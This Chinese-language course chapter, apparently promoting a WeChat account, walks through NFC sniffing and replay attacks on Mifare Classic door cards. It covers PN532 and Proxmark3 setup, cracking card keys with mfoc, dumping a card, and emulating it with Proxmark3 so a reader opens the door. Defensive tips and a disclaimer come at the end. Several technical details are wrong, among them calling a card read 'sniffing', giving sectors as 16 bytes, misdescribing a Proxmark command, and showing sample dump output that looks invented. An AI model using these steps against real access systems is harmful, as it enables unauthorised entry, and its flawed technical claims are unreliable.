3. NFC数据嗅探与重放攻击:硬件准备与实战

各位同学,今天我们来聊一个非常硬核的话题——NFC数据嗅探与重放攻击。说实话,这个章节是我个人觉得整个课程里最有意思的部分之一。你想想看,你兜里的银行卡、门禁卡,甚至手机支付,都在用NFC技术。但你真的了解它有多安全吗?

嗯,咱们一步步来。先从硬件说起。

3.1 硬件准备:PN532 vs Proxmark3

做NFC攻击实验,你得先有趁手的工具。我个人最常用的两款设备是PN532和Proxmark3。它们俩定位不同,我分别说说。

设备 价格区间 主要用途 我的评价
PN532 50-150元 基础嗅探、读写Mifare Classic卡 入门首选,性价比高
Proxmark3 800-2000元 全协议分析、低频高频通吃、重放攻击 专业级,功能强大但学习曲线陡

PN532:这玩意儿便宜,USB供电就能用。我最早入门就是靠它。说白了,它适合做基础的数据嗅探和简单的卡片克隆。但有个坑——它只能工作在13.56MHz高频段,低频卡(比如125kHz的门禁)它就没办法了。

Proxmark3:这个就厉害了。我记得第一次拿到Proxmark3时,拆开包装一看,电路板上一堆跳线和按钮,说实话有点懵。但它能同时处理低频和高频,还能做现场信号分析。我在项目中遇到过好几次,用PN532搞不定的卡,换Proxmark3就轻松破解了。

⚠️ 避坑指南
我曾经买过一个山寨Proxmark3,固件版本太老,连libnfc都识别不了。所以建议各位:买设备时一定问清楚固件版本,最好买官方或靠谱第三方的最新版。

3.2 软件环境搭建:libnfc与mfoc

硬件到位了,接下来就是搭软件环境。我习惯在Linux下搞这些,Ubuntu 20.04或Kali Linux都行。Windows也能用,但驱动问题会让你想砸电脑。

3.2.1 安装libnfc

libnfc是NFC操作的底层库。说白了,它就是你和硬件之间的翻译官。安装很简单:

# 更新系统
sudo apt update && sudo apt upgrade -y

# 安装依赖
sudo apt install -y libusb-dev libpcsclite-dev

# 安装libnfc
sudo apt install -y libnfc-dev libnfc-bin

# 验证安装
nfc-list -v

如果看到设备信息,说明安装成功。我遇到过最坑的情况是——插上PN532后,系统没反应。后来发现是没装udev规则。解决办法:

# 添加udev规则
echo 'SUBSYSTEM=="usb", ATTRS{idVendor}=="04cc", ATTRS{idProduct}=="0531", MODE="0666"' | sudo tee /etc/udev/rules.d/99-nfc.rules

# 重载规则
sudo udevadm control --reload-rules
sudo udevadm trigger

3.2.2 安装mfoc

mfoc是专门用来破解Mifare Classic卡的。它利用了卡片的一个经典漏洞——嵌套认证。嗯,这里要注意:这个工具只能破解老款Mifare Classic卡,新款Mifare Plus或DESFire就别想了。

# 从源码编译mfoc
git clone https://github.com/nfc-tools/mfoc.git
cd mfoc
autoreconf -is
./configure
make
sudo make install

编译时我踩过一个坑——缺少libnfc的头文件。如果你遇到类似问题,试试:

export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig

3.3 嗅探交易数据:实战操作

环境搭好了,咱们来真的。我会用PN532演示一次简单的数据嗅探。目标:抓取一张Mifare Classic门禁卡在刷卡时的通信数据。

3.3.1 启动嗅探模式

首先,把PN532切换到嗅探模式。我个人习惯用nfc-list先确认设备在线:

nfc-list

输出类似:

NFC device: PN532 / PN533 opened

然后,用nfc-mfclassic工具开始嗅探:

nfc-mfclassic r a dump.mfd

这里的参数解释一下:

  • r:读取模式
  • a:使用A密钥(默认)
  • dump.mfd:输出文件名

把卡片靠近读卡器,你会看到类似这样的输出:

Found MIFARE Classic card
Sector 00: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
Sector 01: 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F
...

这就是卡片的原始数据。每个扇区16字节,前12字节是数据,后4字节是密钥和权限位。

💡 我的小技巧
嗅探时尽量保持卡片静止。我试过一边走路一边刷卡,结果数据全是乱码。嗯,这就像拍照时手抖一样,稳一点才能出好片。

3.4 重放攻击实验:从嗅探到复现

数据抓到了,接下来就是重放攻击。说白了,就是把刚才抓到的数据原封不动地再发一遍,看系统认不认。

3.4.1 准备重放数据

刚才的dump.mfd文件里存的就是卡片的完整数据。但重放攻击不需要全部数据,只需要关键部分——比如UID和认证数据。我一般用hexdump查看:

hexdump -C dump.mfd | head -20

3.4.2 执行重放

用Proxmark3做重放比较方便。先加载数据:

hf mf dump 1 dump.mfd

然后模拟卡片:

hf mf sim 1 dump.mfd

这时候,把Proxmark3靠近读卡器,它就会像原卡片一样响应。如果系统没有做防重放保护,门就会开。

🔑 核心要点
重放攻击能成功,说明系统没有使用「挑战-响应」机制。真正的安全系统会在每次通信中加入随机数,让重放的数据失效。这也是为什么现代银行卡都用动态CVV。

3.5 知识体系总览

为了让你更直观地理解整个流程,我画了一张图:

NFC数据嗅探与重放攻击知识体系 硬件准备 PN532 / Proxmark3 软件环境搭建 libnfc + mfoc 嗅探交易数据 抓取原始通信 重放攻击实验 模拟卡片响应 关键知识点 • NFC协议栈:ISO 14443 • Mifare Classic漏洞:嵌套认证 • 防重放机制:挑战-响应 • 工具链:nfc-list → mfoc → proxmark • 常见坑:udev规则、固件版本 安全防护建议 • 使用动态密钥(如3DES/AES) • 启用挑战-响应认证 • 升级到Mifare Plus/DESFire • 限制读取距离(< 4cm) • 定期更换密钥

3.6 避坑总结

最后,我把自己踩过的坑总结一下,你遇到类似问题可以少走弯路:

  • 设备识别问题:插上PN532后nfc-list没反应?先检查udev规则,再检查USB线。我有一根线只能充电不能传数据,折腾了我一下午。
  • mfoc编译失败:多半是缺少依赖。建议用apt安装libnfc-dev,别自己从源码编译libnfc,版本兼容性问题太多。
  • 嗅探数据不完整:卡片移动太快或距离太远。保持卡片静止,距离控制在2-3厘米内。
  • 重放失败:检查目标卡是否支持模拟。有些读卡器会检测卡片UID是否合法,克隆卡会被直接拒绝。
📌 最后说一句
这些技术本身是中性的。我教你是为了让你理解攻击原理,从而更好地做防护。千万别拿去干坏事——嗯,你懂的。

公众号:蓝海资料掘金营,微信deep3321